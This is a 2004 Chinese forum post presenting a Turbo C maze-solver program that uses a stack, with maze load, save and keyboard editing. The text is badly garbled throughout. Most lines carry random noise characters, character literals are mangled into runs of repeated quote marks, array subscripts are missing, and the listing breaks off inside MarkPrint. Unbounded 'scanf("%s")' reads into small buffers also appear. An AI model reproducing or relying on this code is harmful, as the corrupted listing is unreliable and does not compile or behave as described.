QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 7584|回复: 8
打印 上一主题 下一主题

C语言技术文章

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
#
发表于 2004-10-4 02:34 |只看该作者 |正序浏览
|招呼Ta 关注Ta
<DIV  align=left>2 r" x1 L, f% f9 M
< align=left>程序目的:' \" |0 F  n8 Y! @; o- T& x
输入一个任意大小的迷宫,用栈求出一条走出迷宫的路径,并( z' c6 Y! r9 L# o1 e7 J, b
显示在屏幕上。
& \- L# v& I- |) v3 A0 t9 X: p; a程序实现:/ I) {* ]! l- m; F0 H, u8 F' v
可以实现载入迷宫和保存迷宫,附带文件中有4个测试迷宫路径的7 K; a: }* F9 Y0 T; l
文件test1~4.dd。请将这些文件拷贝到TC当前目录下,或者在载
  B7 M7 Z. {( Z& ?, p0 J入时写明完全路径。由于屏幕大小的限制,当用户自己输入迷宫4 ~! o) h4 N: ?2 q; k5 l, M
时一定要注意:迷宫大小是有限制的,不小于4*3,不大于30*20。- n: C! Q$ `: t( b& M. I, _; I6 B5 L
否则会出现错误信息。输入开始时全是墙,用上下左右键移动,( Q: U) Z) R% y$ w0 T
用Del键删除墙,形成通路,用Enter键添加墙。输入结束时可以: e) U0 |  e1 ^4 l+ m* y
将迷宫保存下来,以dd为扩展名。输入完毕时用F9键来得到结果,
# s3 ?: g! ~3 D8 V% U3 N5 C! L  h找到路径时,屏幕下方会出现Path found,否则出现Path not found。, L! y# n5 L2 J: W# Q
程序经Turbo C 2.0编译调试成功。运行时不用添加任何运行库。
( l1 e0 h1 S4 d% k不可以在VC上编译。
0 V) @8 B  G# t+ Q/ n+ v下载DOS版和windows版的迷宫游戏全部代码
5 k2 r2 p8 }+ G( G4 V8 t$ \用户名:migong + h0 O5 X: `! e2 l  ^% T$ w- i
----------------------------------------------------------------------------------
- R, w, _% W  R$ b- [& J! t/*
! p, _1 T5 z; j3 vMazePath Demo BY Turbo C 2.0
- e- w/ l5 v: h& V2 ECopyright(c) RoverUnion. All right reserved.( K& D4 _3 f8 L% k/ I
Filename: Maze.c
7 b! t! C6 w+ |; z/ ~% HAuthor Dongchengyu.
/ X! T. X7 F5 T' i2 I0 H' _Ver 1.10
% h( s% G9 @4 G8 d! t5 m) k. L*/& d0 \- ?! c, [* w" q
#include &lt;stdio.h&gt;
  ^" Z( b0 W8 D#include &lt;stdlib.h&gt;7 e+ R' k; J# V5 ~4 h1 d0 k
#include &lt;malloc.h&gt;
  @& O. E6 r9 u, h/ Z+ O7 [1 N#include &lt;conio.h&gt;
1 ]/ W9 S" B  w( I. }- P#include &lt;dos.h&gt;
7 [" R) q7 ?" f1 `6 b* i  G; {; c2 A! r- E#define OK 1! L+ W; H- O8 z8 d3 l) L( q
#define ERROR 0# Q% e8 ^; T7 w& e8 A8 i7 W$ e4 |+ w
#define TRUE 16 e9 V) e( Y) ?( J1 O7 T, w
#define FALSE 0# E, ]! ~2 _0 C
#define F9 0x43
- H8 P9 Y4 M( g. A7 V  P#define Esc 0x1b* M. n; q- |% H: I& `
#define Del 0x530 V* |/ S* }7 i) t) F8 j
#define Home 0x479 @0 h5 @# `$ m: `
#define End 0x4f
! q% |/ i+ d; u. G# _#define Space 0x206 w* v( U- ?1 F6 U5 L; s
#define Up 0x48
0 E. J- H* Z& m% T% F#define Down 0x50
1 Q8 ?& P9 k4 D7 ]& s8 i% k8 q; C#define Left 0x4b
  L( n  G8 c, P$ X0 w$ c6 [#define Right 0x4d' i4 {  a& ]; R1 z1 q/ q7 }5 f
#define Enter 0x0d
+ v; C  [) j1 Y- A#define F2 0x3c" d. w# j  p0 H
#define F3 0x3d
. u: F& d4 d! }#define STACK_INIT_SIZE 200
- G: n. K. @% D7 o! G5 B2 p) W#define STACKINCREMENT 10) q! y6 P5 }* B. e' M  X
typedef int Boolean;/ t) I& r, e2 s
typedef int Status;
7 W. \) ]3 ?5 R! Ntypedef struct {
+ E6 v3 F0 h: W0 i, a) Tint x;& J, I& F7 b7 D5 G* U" M
int y;
0 u) P" R" l4 j& d/ }: }} PosType;/ p' w3 j- ?" H3 L
typedef struct {: B. b; H2 E$ s: b
int ord;' j. e4 f9 c  I5 P; ^' s& d# n
PosType seat;) Q6 a* C2 [. H% l
int di;7 N% a. h" b' f4 j. y1 l7 N3 F# |
} SElemType;+ L  u  k- k, {; p, @- M" q
typedef struct {' [: }: h5 w0 c* w! h) f8 B
int td;
$ E4 H# k1 L8 f0 Aint foot;
1 G( V5 H' r5 kint mark;
8 p' ~& K$ O& Z% K7 S} MazeType;
; F) b( }9 r; u7 Ctypedef struct {
9 j& I- J' H9 |7 c8 S: I# wSElemType *base;
: w% L5 U: |# GSElemType *top;4 j8 _: V8 m# r2 `
int stacksize;4 Q/ v1 H" r, L, y7 d
} Stack;
* V: A9 e% t* q' i2 A4 Oint Maze[20][30];
6 c( w/ p0 \( W* r' T) gMazeType maze[20][30];
0 q# U, Z7 s$ a6 p- oPosType StartPlace;
& P, {+ l) j$ r$ Q- WPosType EndPlace;6 B* D+ ~0 b3 F( p7 B
int count;* E; Z+ T8 F  Q( ?
int m,n;3 t0 J8 e- ?; _+ U5 x6 x) x- V" h
Boolean b_start=FALSE,b_end=FALSE;
; w( Y/ F: K+ ~& l: w1 ?3 J  jvoid CreatMaze(void);
* H8 S+ j7 J; I4 x( yStatus SaveMaze(char *filename);* _! |/ ?% ]2 ]3 U
Status LoadMaze(char *filename);
2 e+ o8 k- G- X, c& f9 h; }& {4 F3 Ivoid Error(char *message);" H. m7 H3 t7 p
Status InitStack(Stack *s);
: U# w/ _, w8 W# b  w2 q* K' AStatus DestroyStack(Stack *s);0 h0 D" G/ A+ ^: B5 q. z
Status ClearStack(Stack *s);
8 R, _  ?, f- r, n: Q% v0 {Boolean StackEmpty(Stack *s);4 i! B, Y0 s! M5 n( r  {
int StackLength(Stack *s);7 l" p+ A) h: f" r
Status Push(Stack *s,SElemType e);$ C: [1 x! P! q. c) \& Q
SElemType Pop(Stack *s,SElemType e);7 d+ w( i5 [, _. r1 w' E' S" N" e
Status GetTop(Stack *s,SElemType *e);
) s( c1 y# X6 E! B. f/ yStatus StackTraverse(Stack *s,Status (* visit)(SElemType *se));  F, V% w# X* N
Boolean Pass(PosType curpos);
* V$ r% c" O* m4 G8 y6 bvoid MarkPrint(PosType seat);+ ~% W. w! J" ^* s
void FootPrint(PosType curpos);* I4 E: y- }8 G  v& \
PosType NextPos(PosType seat,int di);
! ]! \* W" s6 kStatus MazePath(PosType start,PosType end);$ u9 e1 p  a; l
void CreatMaze(void)$ g7 E7 \0 c2 ]
/* Form the maze. */
$ P/ P8 o4 B6 W- @, S{! Y+ H* h8 o/ T" e
void Error(char *message);3 T$ K& l  @  y& f; w
Status SaveMaze(char *filename);* D: [8 {4 `5 u: E
Status LoadMaze(char *filename);
% t) \3 ?  z: }0 F, n0 lint i,j;
3 R5 T1 ?3 q/ h, wint x,y;
6 @3 T3 T% P1 xchar c;
5 u4 W+ {1 `$ L7 J0 ]- Q. P( K* N& jchar savename[12],loadname[12];8 a5 D) U: r, Y+ @9 \/ p$ h
Boolean flag=FALSE,load=FALSE;
5 N- Q2 a4 X8 n; `" u. aclrscr();: I* i: W  I3 H- ^: N6 g7 a/ b3 s' D
printf("Menu:\n\n");
: Z, }* ^, r# B5 @; Q9 jprintf("1.Load Mazefile*.dd)\n\n");) B1 U+ ]: D' a
printf("2.Input Maze:\n\n");# V# @1 C1 O/ i1 p2 C/ Q7 Q, E
printf("Input your choice: ");
0 l9 {5 H0 L! w# sdo; l( k, |* q: B
{
! Z* ?2 ]$ G" [; i5 m/ H" S; lc=getch();4 I/ F0 t( `% N7 ~. z
switch(c)% v1 \. Y2 i! _3 }' G; K
{0 p' q3 }( H" ?8 w
case ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''); break;
4 o: D2 o% D% p% x5 c2 X7 |; gcase ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''); break;4 f( K1 s: ]5 p' J
case Esc: sleep(1); exit(1);& O; ~* {6 N. t8 z5 N! }
default: break;/ r5 B  |( {$ b% A3 l
}
  n% j- N- [  ?, E/ o1 L}
& M: K- R7 G+ s: l7 }! S, ]while(c!=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''&amp;&amp;c!=''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''') ;% W1 w' g( ?, w1 g' X) f: F. l
if(c==''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''')
; k4 s3 C/ Y5 F6 ~{7 w% S# Z. T1 K7 z1 g6 H% C
printf("\n\nLoadName: ");
. ^+ N. q; I' K! r' Y* vscanf("%s",loadname);1 F1 R2 P: T  A; ~1 x* n( r
if(LoadMaze(loadname))/ I7 o( p. |  h6 j# u
{" F1 O6 O% I& _% ~. x
sleep(1); load=TRUE;
9 L. n0 e3 d$ z8 N* A/ S}
8 V, n9 w- F9 [+ k5 q9 J; u* `1 ]else { gotoxy(1,9); printf("Load fail! "); }
" a; c4 x2 C* |+ r5 J2 g5 [}- N6 U! W' _) `2 M& N2 M1 P" O; v4 \
if(!load)
" n- P( I8 W& u$ t8 F9 Y1 ?" t{
( W, s! ~& w# U+ U# d  Qprintf("\nInput the maze''''''''''''''''''''''''''''''''s size:\n");
& z6 u# S. Q% s3 K* q7 wprintf("\nInput Length :\n");6 @& r3 b4 A7 ~3 s4 `  X8 W
scanf("%d",&amp;m);
- q! X8 X! y2 I* f! j6 ]printf("\nInput Width :\n");8 K" M. x* c$ a
scanf("%d",&amp;n);
. j2 |% w" q5 ~, g$ v, |$ nif(m&lt;4||n&lt;4) Error("Input");
, r7 d+ j: N- H6 Q& Z. rif(m&gt;30||n&gt;20) Error("Maze too large");2 X: @8 n' _! ?; j
for(i=0;i&lt;30;i++)
4 p0 r- Q4 U; i- y' ifor(j=0;j&lt;20;j++)
7 y. A& ]9 i" f9 K! W$ wMaze[j]=2;
- ~0 B6 {  T& a' u) x! O" {* bStartPlace.x=0;
% Z3 B( ^! _- t/ @# e7 {StartPlace.y=0;- n( O, {. w% l! W0 d" i* [7 P
EndPlace.x=0;
' ~# Z: @4 a# d- g  \EndPlace.y=0;9 c. J% X& D! H$ I- K0 Y
clrscr();( |2 Z6 n( n/ B# @
printf("\n");
9 Z& ?' A. X8 M0 J4 {+ l. z! ofor(i=1;i&lt;=n;i++)7 U$ h+ }& F: u5 ?3 {
{! v7 A9 m. n# j# [+ d2 f- ]
for(j=1;j&lt;=m;j++)
. }9 {! P$ m& t6 q1 w{
0 p: \/ Z: j, n. d% L' N1 ^& g$ T  Hprintf(" #");+ u* N4 A! F! d. u# [
Maze[i-1][j-1]=0;
) n) V0 a/ o% B/ s; Q: i3 P}  M. ?& g4 M3 L! a' E' I$ g9 a
printf("\n");
1 I! f& ^/ F2 g3 V}( S5 U6 ^" C9 ?' {  M
}( b6 F$ z4 g0 s9 ]: r; W
gotoxy(65,5);( U+ y2 _, N8 K' E- D, o. a
printf("''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''':Wall");9 Q, @7 H& X$ B. E
gotoxy(65,7);
: W' B% A+ @1 @printf("Start:Home");
  a' B+ v+ T$ b& O- [gotoxy(65,9);5 z7 R2 E/ Z2 E/ l
printf("End:End");8 U+ M# E! V% D" \: k  Q
gotoxy(65,11);
( s& P8 S) d, a6 s0 m, fprintf("Delete Wallel");4 b" t3 \+ ?# d
gotoxy(65,13);
2 \4 z3 H  }: O" k" U' s6 _( Cprintf("Enter Wall:Enter");; g& U0 y/ Q! _- b
gotoxy(65,15);- z- Q" H, W, u: d% V& L
printf("Save Maze:F2");, x! `7 z, U: w/ e& P* l8 R
gotoxy(65,17);. O3 t5 h* G$ H) {' l, r
printf("Complete:F9");
# E" R6 h+ }% xgotoxy(65,19);: Q/ W; q" s3 Q
printf("Exit:Esc");
3 c1 `7 \% ]9 R: R/ t% o' d1 Dgotoxy(4,3);2 v9 f0 L/ Q9 j9 L, q4 Z) s- z+ j
x=4;y=3;* |, M4 K$ M! {& ^6 I) H
do& _7 r0 V& i( s
{
" ~1 `0 u% g  k1 a) N  I' k* cc=getch();
+ T% B7 o5 t8 d8 m8 Y( Uswitch(c)
  }& t* D2 S) S{
. a3 E* c# p5 h$ G! Q) c2 tcase Up: if(y&gt;3) { y--; gotoxy(x,y); }- i( {' [* A. L. Q
break;
' x+ u' K( M: K( M& wcase Down: if(y&lt;n) { y++; gotoxy(x,y); }
3 B, u' |2 k6 x- ?. gbreak;
7 Z) d9 ]6 ~* \  O! i& p3 Fcase Left: if(x&gt;4) { x-=2; gotoxy(x,y); }" j1 Q) u' C! ^% ^3 ?( S/ E2 m# B
break;1 y" o7 H' j( C6 F4 `
case Right: if(x&lt;2*m-2) { x+=2; gotoxy(x,y); }
5 Q  U, ?9 ~6 K  D  _3 _break;$ \1 y4 m9 e1 f
case Del: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) b_start=FALSE;
$ J4 i( q: B, g- t$ y( d3 L; Vif(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) b_end=FALSE;
% J2 R8 S' q* j4 g* K. Eputch('''''''''''''''''''''''''''''''' ''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=1; gotoxy(x,y);
" l2 a  \( m+ C  Q8 b# nbreak;
8 a6 u1 z: w5 W% p& ~8 bcase Enter: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) break;
6 d8 l% X1 ]) X3 c3 aif(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) break;# W; P4 n" g& U$ U0 K* ^8 W
putch(''''''''''''''''''''''''''''''''#''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=0; gotoxy(x,y);! b# ?$ g( b8 h0 K
break;
$ i8 K8 @3 Q6 j% ccase Home: if(Maze[y-2][x/2-1]&amp;&amp;!b_start)6 K/ r* ]: m& c7 D; ~- v  Y* l1 o
{$ L- t* U7 Q& p/ B7 D$ i
StartPlace.x=x/2-1;
2 g) h# G7 J' O$ O: UStartPlace.y=y-2;1 w( D9 v: J" Z) }3 x6 \1 L
putch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');
& V3 {* n! k8 }, T9 Sgotoxy(x,y);
9 f* M* w! n) x( `4 D. U2 {! Tb_start=TRUE;
# R! X% [8 H: G! u# d- E# x) E7 n}) ?6 {) ?" z6 J# z, b: u' D$ x; L
break;
, q( Q. G) W. dcase End: if(Maze[y-2][x/2-1]&amp;&amp;!b_end)
1 Z# ~0 X) c5 ~, m1 u2 e1 P' N{! u7 w" p3 f4 U- l  A) F$ u
EndPlace.x=x/2-1;
) _5 ]& a0 n# b3 p. AEndPlace.y=y-2;
; Y  N4 V3 x, X) i5 F( Iputch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');
5 [8 E- t/ L" f8 Bgotoxy(x,y);1 `& A  j9 y( o, s' `  w
b_end=TRUE;8 ~7 o5 z4 W0 _: F, W) P2 d
}5 S  G+ |8 a  E  D2 Q/ |
break;- w/ w+ ?- P' w8 g
case Esc: gotoxy(2,22); printf("exit"); sleep(1); exit(1);
* R6 m# Z: `$ bcase F9: if(b_start&amp;&amp;b_end) flag=TRUE; break;9 |! s. v8 n) b- q7 R+ u; v
case F2: gotoxy(2,22);
8 g0 V) s% O/ V, o/ ~" M7 zprintf("Savename:");2 C! _- S# D4 ^7 j0 O: A5 [. n2 w
scanf("%s",savename);
+ b' r9 p) q6 o- u" S+ kgotoxy(2,22);  U1 l$ ^6 L4 c4 X" v
if(SaveMaze(savename)) printf("Save OK! ");3 m9 t. P& w8 s6 p( [5 j4 Q
else printf("Save fail! ");% \/ C: q2 \, |
sleep(1);
, A4 R$ I' o0 Q) U- a) {) f) Xgotoxy(2,22);
( W2 R. }7 L2 {/ ]  hprintf(" ");7 x* z/ a8 ?$ v4 P
gotoxy(x,y);! l' c  W: h0 s: {
break;
9 }( F* w$ i$ mdefault: break;5 {! O: N# O! h, ?6 D/ v
}
9 L, D! y" }6 G* y1 u; ~0 Q4 m}# k' l! D4 C1 T% U' C$ S
while(!flag);
2 d7 K  _) x; E* ^+ `" d& T8 Wfor(i=0;i&lt;30;i++)2 ^, u" ?  @* F/ m3 }- C
for(j=0;j&lt;20;j++)% G7 V! L/ g1 \/ t  Q
{8 Q$ C* U: k# W) s1 M
maze[j].td=Maze[j];
+ @/ U6 o% w. P1 q6 lmaze[j].mark=0;( p& m# O5 Q& H; X/ w/ O9 Z9 t- ?
maze[j].foot=0;
/ _( R, s  y5 i/ p}
( n' S- O* T; `+ O: k}
% w' @; R$ H- d3 S9 i1 l* kStatus LoadMaze(char *file)% G" `: j1 }8 ^( U) a
/* The maze has been loaded. */* h! E, h# ~  d# Q
{
& G/ j! [. Q3 R+ P7 Z* U/ `FILE *fp;
% v" E! ?, p: k2 M- g$ \char *buffer;
. }7 S! o" ~2 ]. J( @* m" Ichar ch;
; x. m0 k: }% hint i=0,j,k;0 r8 J8 Q  ?; B6 y- ^% |
Boolean len=FALSE,wid=FALSE;* t: |' u0 ^$ v2 C7 I- c" w
if((fp=fopen(file,"r"))==NULL)
: p0 I. B) F9 }8 Q/ Ireturn ERROR;: S3 G* A& M% C8 w
buffer=(char *)malloc(600*sizeof(char));3 V6 c. Z; @+ J. _  O0 [$ O, z' J
ch=fgetc(fp);
/ g$ j3 I* O+ A2 Vwhile(ch!=EOF)% ]9 y( k/ ?! k& i* e& V1 r. y
{
/ C% }  J- F$ ybuffer=ch;- F' C0 M  @: U+ z: P7 L
i++;/ X- [$ @0 Z0 |2 D
ch=fgetc(fp);/ H9 o0 O, P7 K, e
}
1 \" Y+ h: V6 ~1 N; M- Vm=30;n=20;
: h! t+ Q  P! j* qfor(i=0;i&lt;600;i++)6 ~+ N6 ?* p% k" O* A! q
{
) n1 ~8 A3 s& M% I& Xj=i/30; k=i%30;
8 f3 `3 k2 ?# i% y  Yif(buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!len){ m=i; len=TRUE; }
" @6 r; ^0 n6 h' K! W  Rif(k==0&amp;&amp;buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!wid){ n=j; wid=TRUE; }
& T) n9 Q; H4 K# {+ dswitch(buffer)$ X" a5 ~) t+ G4 e  A/ b
{
7 j3 r' R) ^' p! Y% C) n$ P* Ccase ''''''''''''''''''''''''''''''''0'''''''''''''''''''''''''''''''': Maze[j][k]=0; break;/ E; P. ^: R3 R5 V. a: T2 R
case ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': Maze[j][k]=1; break;
  A# b' L& j( s: vcase ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': Maze[j][k]=2; break;
4 |, y, k9 i$ M! j  ]: S  |, [case ''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''': Maze[j][k]=1;
! x6 {( u" i7 l: GStartPlace.x=k;
; g5 ~1 B# H! l- S0 u5 OStartPlace.y=j;
% w# V+ @) j( O& O. `& zb_start=TRUE;; o2 V0 p$ ]% B( z8 m
break;
9 K9 d; m" L4 r: }% o0 ^; qcase ''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''': Maze[j][k]=1;, Z9 j$ j6 p: c# e, i
EndPlace.x=k;+ z$ P# B, O) Q1 j
EndPlace.y=j;
5 F4 `+ x, }9 r; D: L+ db_end=TRUE;
. R: K. ]% w- {' h0 E  wbreak;1 [4 }/ q( h, e% x  w! F: V
default : break;/ h" e4 ^2 d& P$ E! H
}7 N9 o1 O5 i0 j6 M, {
}8 q7 o8 r- L: Q) K  O. g2 [' Z8 p
fclose(fp);5 Q+ K" u2 [! d& x- T9 z/ }
clrscr();
! o& Z+ T% q2 W" X4 c" `for(i=0;i&lt;30;i++)
) ~5 D& ~5 a  b) kfor(j=0;j&lt;20;j++)8 r5 B7 i/ R* g1 Z
{
; ^0 B5 n# H- r: w2 e8 Y# c  ~maze[j].td=Maze[j];- I+ V: p9 @# x  k9 \" j
maze[j].foot=0;' k$ c) y8 j# v2 U
maze[j].mark=0;; U, M3 h5 x+ B
if(Maze[j]==0)  u' B' l& |( _0 m% I  E
{0 Q2 e. ]( f- U
gotoxy(2*i+2,j+2);. I5 _8 F2 t  D# a" x1 _
putch(''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''');2 I& A1 T7 S9 w4 l" R2 o. O# s
}
& v6 f1 [2 d8 f+ h& H}
7 r2 @6 \/ l( H. }4 [3 ogotoxy(2*StartPlace.x+2,StartPlace.y+2);" y- M( w) r! m, K
putch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');
- N9 I# x) E& Q& J2 G# Fgotoxy(2*EndPlace.x+2,EndPlace.y+2);
+ [; W% Y4 I' k3 `7 m4 E, ]; T( `putch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');
! C1 B+ k4 g6 m) n' xreturn OK;
- b9 L" l0 c# O! B9 V}
6 x3 [( I. Q4 G* O6 zStatus SaveMaze(char *filename)
% d6 C3 d, X8 F7 {$ @1 E3 K5 [/* The maze has been saved. */9 g; j) ^3 b# m9 ~! O
{
5 @+ l6 w" T+ ^9 |+ \FILE *fp;
( B7 y7 @8 e2 k, x8 U" f8 c* L+ Ochar *buffer;
) M& y7 z4 S4 h+ e0 I7 Vint i,j,k;
, Y7 W6 [7 `4 C8 P5 D7 e! Qfp=fopen(filename,"wb");
* A4 Z  C% Z. T+ kbuffer=(char *)malloc(600*sizeof(char));
) J+ T4 K3 x; @( Tfor(i=0;i&lt;600;i++)
1 d' t6 I% q* |' J9 j7 W{. M+ U4 z  c  W) n9 a- T
j=i/30; k=i%30;
  Y3 x/ l! W& W4 g! v, nswitch(Maze[j][k])% J4 ]0 D, g' {
{
/ W' H. r, O; \3 M1 s, U: dcase 0: buffer=''''''''''''''''''''''''''''''''0''''''''''''''''''''''''''''''''; break;
$ O" O, w0 n( X6 Y( ~6 ~3 y( Zcase 1: buffer=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''; break;1 |" J( _4 r" b. Z& C' G
case 2: buffer=''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''; break;. I! G6 ^3 _; s( a( }* _# r
default : Error("Write"); break;
) O; F: S& l) i# |* F}; I8 a+ g: l$ M( S2 P$ T5 o
if(k==StartPlace.x&amp;&amp;j==StartPlace.y) buffer=''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''';9 I3 L. X4 Q  J' |! a) S6 x
if(k==EndPlace.x&amp;&amp;j==EndPlace.y) buffer=''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''';- N0 b# T. L3 q% v; U* v
}# p+ z  l( s  h3 N; G
fwrite(buffer,600,1,fp);
4 G6 g: O# R/ a0 ffree(buffer);! B0 Z& Y" ]) Q  k  e
fclose(fp);- B3 f( u. M( U" B
return OK;
4 y- z# X, n! X, b}
7 Z9 W% ]6 j& e- j- l/ ivoid Error(char *message)
; s* p) f/ a1 q# q# F{
  a# ?* B+ F8 H" B5 i, p7 T9 iclrscr();
' O0 Z1 t$ ~3 ?) K3 \fprintf(stderr,"Error:%s\n",message);
8 L* n- x8 _0 t; xexit(1);( v* ?& J6 G8 u
} /* Error */
3 Q; e" c: J; o' E% D# C0 r
8 F( i4 F% L: `  BStatus InitStack(Stack *s)
# {3 U4 ]; x! v/* The stack s has been created and is initialized to be empty. */$ s  r  G1 u2 F& P
{
; V! m; x  @9 b0 Z' e# Vs-&gt;base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));) v! ?9 m3 X4 n- C, l
if(!s-&gt;base) Error("Overflow");+ O5 G6 X- }; s  b% F
s-&gt;top=s-&gt;base;
/ v$ E, M- m3 r2 d5 H) is-&gt;stacksize=STACK_INIT_SIZE;: c. v$ t% ]' P1 n- G
return OK;* b; F8 B3 j$ E2 _) _4 b
} /* InitStack */
+ B- h  h# ^* u, _Status DestroyStack(Stack *s)
" _# {; D! J  N, D1 q; t/* The stack s has been destroyed. */: w% f# e( g/ Y! g0 a( |
{3 v9 M: Q  C! v8 |: l# t- C
s-&gt;top=NULL;
, I+ b: f5 ^/ C& t7 P) ws-&gt;stacksize=0;/ f0 v5 Z/ I5 }& F$ F2 G' N6 X/ \
free(s-&gt;base);; i9 M/ Q( L# B& k7 G$ B
s-&gt;base=NULL;
+ z: _' U6 u- f0 f3 \return OK;
) d) @6 u& [3 E2 ]} /* DestroyStack */
% K0 m) J2 _2 A8 o% p5 \Status ClearStack(Stack *s)
! D/ R# t7 N) p  b/* The stack has been clear to be maximum. */
( ~6 ^0 _( Y- @0 Z5 `5 x0 _0 R. \{
) v( b5 O3 T7 h4 m: xs-&gt;top=s-&gt;base;
* H( I# p: K4 a* bs-&gt;stacksize=STACK_INIT_SIZE;$ L7 ?/ u2 \: D# z$ _: a8 |" }* H
return OK;
. T! p( i/ x" d( E; y, r9 ^- \} /* ClearStack */
( R4 s" R6 d2 ZBoolean StackEmpty(Stack *s)% u% O8 S/ J- ~* g6 e5 p
/* Check if the stack s is empty. */9 [4 v( M1 F' _  v. r( W% I
{$ ^4 b, P/ p, C% [8 V, Q
if(s-&gt;top==s-&gt;base) return TRUE;0 [+ R6 A9 a) m  I
else return FALSE;
6 h- k3 d& E, C6 l! P} /* StackEmpty */
; @8 l9 B. e; \1 \' Gint StackLength(Stack *s)
( Y3 |* P) n1 a( v: ^/* Gain the length of the stack s. */* r8 [" V: A6 `2 \, l$ w. V
{9 y. C7 \7 |5 N! g! h" ^: d9 J" f
if(s-&gt;top&gt;s-&gt;base) return (int)(s-&gt;top-s-&gt;base);: i) y* @$ `4 b, q& O+ W* @
else return 0;  ]) D* [3 E+ }* A8 p. f* N
} /* StackLength */, X1 S0 K" g1 K4 ]& Y1 r4 I( I, |
Status Push(Stack *s,SElemType e)9 \$ K7 b' f7 a7 w, U
/* The element e has been pushed into the stack s. */
; [& U5 |( N: [# O7 |# C' g{5 f3 r) H0 K+ D. c6 J! _2 \
if(s-&gt;top-s-&gt;base&gt;=s-&gt;stacksize)
% k0 J0 c# K) s( M' z{7 N$ m  W7 z2 ?: c! S1 l
s-&gt;base=(SElemType *)realloc(s-&gt;base,! f) L+ \7 t1 w
(s-&gt;stacksize+STACKINCREMENT)*sizeof(SElemType));1 h" |( p) G, @1 M
if(!s-&gt;base) Error("Overflow");- c! v6 T/ O  g; w
s-&gt;top=s-&gt;base+s-&gt;stacksize;: o9 u# Q6 L  F" E$ D9 X) g
s-&gt;stacksize+=STACKINCREMENT;# k2 S" |+ d, I
}& {3 v6 h2 u7 q( P) X( G
*s-&gt;top++=e;, p3 P- R5 d7 p  v9 r0 g
return OK;
" v2 {- B$ s8 L, F0 W} /* Push */
/ ~, e3 u4 e- k) bSElemType Pop(Stack *s,SElemType e)
+ p+ i  u& }/ h/* The element e has been removed from the stack s. */% C' G* d- [- w( N7 V) l
{1 x1 k' E, z1 W: D
if(s-&gt;top==s-&gt;base) Error("op");
( M- a7 ]# C/ G( f9 e- ?' Ue=*--s-&gt;top;
' f( u" b6 P5 T* v6 }return e;$ I1 W( R+ _7 z) ?5 q5 J
} /* Pop */
% V5 ^2 r' p8 o5 Q) G# N' c  SStatus GetTop(Stack *s,SElemType *e)
; V% t0 c4 z; R% M8 ^3 v* t2 o/* The element e has got to the top of the stack s.*/, R! |* [2 F. ?3 P4 u
{/ I3 w( q2 X/ T. I; [9 ^) x( L
if(s-&gt;top==s-&gt;base) Error("GetTop");8 U0 e8 T( D) q# O! `# \1 P( L
*e=*(s-&gt;top-1);4 ^4 S, v: @! V
return OK;% m7 P* {6 i! b& ~  W( Y. ^9 k
} /* GetTop */- ], \' P, b" e$ ?) [( L) \
/* Traverse the stack s using ''''''''''''''''''''''''''''''''visiting'''''''''''''''''''''''''''''''' function. */
% Q/ y. P  y4 J. D; ]/* Status StackTraverse(Stack *s,Status (* visit)(SElemType *se))" G/ d0 M* p5 {4 ^* |) d0 z; H
{' e6 z+ n4 b( h: v: i# K# p
SElemType p;% n& Z+ J1 R* C3 }' }% E" I) B
int result;
. e9 L6 W# }& _9 T* aif(s-&gt;top==s-&gt;base) return ERROR;' u% z! h7 f) r9 K0 C6 B
p=s-&gt;base;
, Y2 c  L: C& [7 D  C" L5 `while(!(p==s-&gt;top))
( q1 y! C6 Y0 P{2 r: H/ t1 e) S
result=(*visit)(p);
6 {( a. S! W- x" z7 Q& }- {p++;4 f. B8 r# W' `& ~- B# `
}
1 e) J1 y7 t8 F9 X) Yreturn OK;
$ i9 Y! h1 G: t* }* h} */
1 f7 L' x; a7 P( d  J4 aBoolean Pass(PosType curpos)9 d7 p5 k4 b: a, o& N# ~5 a# Y0 y
/* Check if the current position can be passed. */( Q# k& Q9 g' P5 }" D; [0 c
{" H: N4 }% j+ y. D, b
if(maze[curpos.x][curpos.y].td==1&amp;&amp;
. X7 I( N) X: k$ p+ r0 O# N! X$ ?2 ~% pmaze[curpos.x][curpos.y].foot==0&amp;&amp;maze[curpos.x][curpos.y].mark==0)
- E: a& D+ B( N& w  Vreturn TRUE;8 a) B* ]1 u  H
else return FALSE;5 e% b0 m+ o- [
} /* Pass */, e4 y2 I/ K: m# ~7 v( t
void MarkPrint(PosType seat)
0 ~$ z8 S( d/ Y1 V/* Mark the position seat. */- S+ D3 `# t  I5 w
{  Z6 H% x7 V9 @& M7 t7 d+ Z
